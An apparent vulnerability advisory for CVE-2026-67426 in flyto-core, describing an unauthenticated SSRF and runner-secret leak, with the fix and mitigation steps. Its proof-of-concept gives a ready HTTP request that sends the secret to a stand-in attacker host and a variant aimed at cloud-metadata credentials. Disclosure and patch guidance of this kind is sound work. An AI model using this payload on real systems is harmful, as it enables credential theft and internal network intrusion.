critical · 9.3CVE-2026-67426Jul 30, 2026

CVE-2026-67426: flyto-core Unauthenticated SSRF and Runner Secret Exfiltration

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

The flyto-verification sidecar service accepts workflow run requests from anyone on the network, then forwards your internal runner secret to whatever URL the attacker supplies.

Packageflyto-core
Ecosystempip
Affected<= 2.26.6
Fixed in2.26.7
CVE-2026-67426: flyto-core Unauthenticated SSRF and Runner Secret Exfiltration

The problem

The flyto-verification service (src/core/verification_service.py) binds to 0.0.0.0:8344 by default per the shipped Dockerfile and exposes POST /run with no authentication dependency.

The request body's callback_url is resolved verbatim by resolve_callback_url (line 315-316) and passed directly to post_callback. That function unconditionally attaches X-Internal-Key: $FLYTO_RUNNER_SECRET (lines 327-335) whenever the env var is set, regardless of the destination.

The existing target_allowed guard (line 259) only inspects params.target_url, never callback_url, and there are zero validate_url references for callback_url anywhere in the file. The result is two independent primitives: unauthenticated SSRF to any internal or cloud-metadata address with an attacker-controlled JSON body, and exfiltration of the runner secret to an attacker-controlled host.

Proof of concept

A working proof-of-concept for CVE-2026-67426 in flyto-core, with the exact payload below.

http
POST http://<verification-host>:8344/run HTTP/1.1
Content-Type: application/json

{
  "workflowYaml": "steps: []",
  "params": {"target_url": "https://example.com"},
  "callback_url": "http://attacker.tld/collect"
}

# Service sends outbound POST to attacker.tld with:
#   X-Internal-Key: <FLYTO_RUNNER_SECRET>
#
# For internal SSRF, replace callback_url with a cloud-metadata address:
#   "callback_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# The outbound request body contains workflow result data and the secret header.

Two independent design flaws compose into a critical chain. First, the /run route handler has no Depends(require_auth) FastAPI dependency, so any network-reachable client can invoke it (CWE-306). Second, resolve_callback_url returns the caller-supplied value unchanged, and post_callback attaches X-Internal-Key unconditionally before calling session.post(callback_url, ...), shipping the runner secret to attacker-controlled infrastructure (CWE-522, CWE-918).

The patch (commit 0a0a528) adds an auth dependency to /run, runs callback_url through the same validate_url_with_env_config SSRF guard already applied to target_url, and gates X-Internal-Key attachment to only allowlisted destinations. The Dockerfile default binding was also changed from 0.0.0.0 to loopback.

The fix

Upgrade flyto-core to 2.26.7 (pip install --upgrade flyto-core). If you cannot upgrade immediately, block external access to port 8344 at the network perimeter and rotate FLYTO_RUNNER_SECRET. The patch commit is 0a0a528520ec18f5a21f1ddf858a71cc1edfb6e9.

Reported by zx (Jace).

References: [1][2][3][4][5]

Related research